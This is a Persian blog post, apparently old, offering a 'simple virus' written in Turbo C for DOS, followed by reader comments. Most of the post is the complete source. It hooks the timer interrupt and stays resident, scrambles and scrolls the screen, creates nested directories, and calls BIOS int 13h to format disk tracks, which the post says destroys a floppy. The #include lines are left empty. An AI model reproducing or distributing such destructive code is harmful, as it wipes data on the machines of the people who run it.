ایا دوست دارید یک ویروس ساده بنویسید که بتواند صفحه شما را جابه جا کند رنگ صفحه را تغییر دهد هارد شما را فرمت کند و ...
این یک برنامه ساده C با استفاده از دستورات اسمبلی است . با جابه جا کردن کدها و مقادیر می توانید کارهای جالبی انجام دهید (اگر زیاد آشنایی ندارید بهتر است این کار ررا نکنید !)
کد کامل ان در زیر آورده شده است آن را اجرا کنید البته این کد فلاپی شما را فرمت خواهد کرد و باید بگویم که دیگر قابل استفاده نخواهد بود . چون آدرس ۰ آن را از بین می برد .
#include
#include
#include
#include
#include
void movtoxy()
{
union REGS inregs,outregs;
inregs.h.bh=0;
inregs.h.dh=15;
inregs.h.dl=30;
inregs.h.ah=02;
int86(0x10,&inregs,&outregs);
}
//******************************************
void scrollup()
{
union REGS inregs,outregs;
inregs.h.ch=0;
inregs.h.al=3;
inregs.h.bh=0;
inregs.h.cl=0;
inregs.h.dh=25;
inregs.h.dl=80;
inregs.h.ah=06;
int86(0x10,&inregs,&outregs);
}
//******************************************
void scrolldown()
{
union REGS inregs,outregs;
inregs.h.ch=0;
inregs.h.al=3;
inregs.h.bh=0;
inregs.h.cl=0;
inregs.h.dh=25;
inregs.h.dl=80;
inregs.h.ah=07;
int86(0x10,&inregs,&outregs);
}
//******************************************
void changepage()
{
char far *fp;
char far *fp1;
int i,j;
char t;
fp=(char far *)0xb8000000;
fp1=(char far *)0xb8000000;
fp1+=3840;
for(j=0;j<12;j++)
{
for(i=1;i<80;i++)
{
t=*fp;
*fp=*fp1;
*fp1=t;
fp+=2;
fp1+=2;
}
fp1-=320;
}
}
//******************************************
void format() //track darmian
{ union REGS in,out;
for(int i=1;i<7;i+=2)
{ in.h.ah=5;
in.h.al=4; //many sector format
in.h.ch=i; //track number
in.h.dl=0;
in.h.dh=1;
int86(0x13,&in,&out);// access harddisk
}
}
//******************************************
void md()
{
bdosptr(0x3b,"f:\\",0);
for(int i=0 ; i<2 ; i++)
{
bdosptr(0x39,"my love1",0);
bdosptr(0x3b,"my love1",0);
}
}
//******************************************
/* void timer()
{ int c,d,s,m,m1,x,y;
union REGS in,out;
// randomize();
in.h.ah=2;
int86(0x1a,&in,&out);
c=out.h.ch;
d=out.h.cl;
s=out.h.dh;
m=c/16;
m1=c%16;
c=m*10+m1;
m=d/16;
m1=d%16;
d=m*10+m1;
// x=random(70);
// y=random(23);
// movtoxy(x,y);
// printf("%i:%i:%i",c,d,s);
}*/
//******************************************
void print()
{
char far *fp,far *fp1;
fp=(char far *)0xb8000000;
fp1=fp+4200;
*fp1='e';
fp1+=2;
*fp1='l';
fp1+=2;
*fp1='h';
fp1+=2;
*fp1='a';
fp1+=2;
*fp1='m';
fp1+=2;
}
//***************************************
void interrupt virose(...)
{
changepage();
delay(100);
print();
for(int i=1;i<13;i++)
{
scrollup();
delay(200);
scrolldown();
delay(200);
}
md();
format();
}
//**********************************************
void main()
{
// virose();
setvect(0x08,virose);
keep(0,(unsigned)&main-(unsigned)&virose);}
وبلاگتون عالی هست شما مدرکتون چی هست
ah ah..!!
سلام مشتی
رسم اول قدم انست که عاشق باشی
زبان سی بلد نیستی آموزش نذار
1.توابعی که نوشتی هدر خالی داره
2.این توابع از بایوس کمک میگیره ودر ویندوز 98/داس فقط کابرد داره
3.معمولا ویروسها رو خود شرکتهای آنتی ویروس مینویسند
دوست عزیز تاریخ پست اگر میدید متوجه میشدید برای ده سال گذشته و اون زمان 98 و داس بود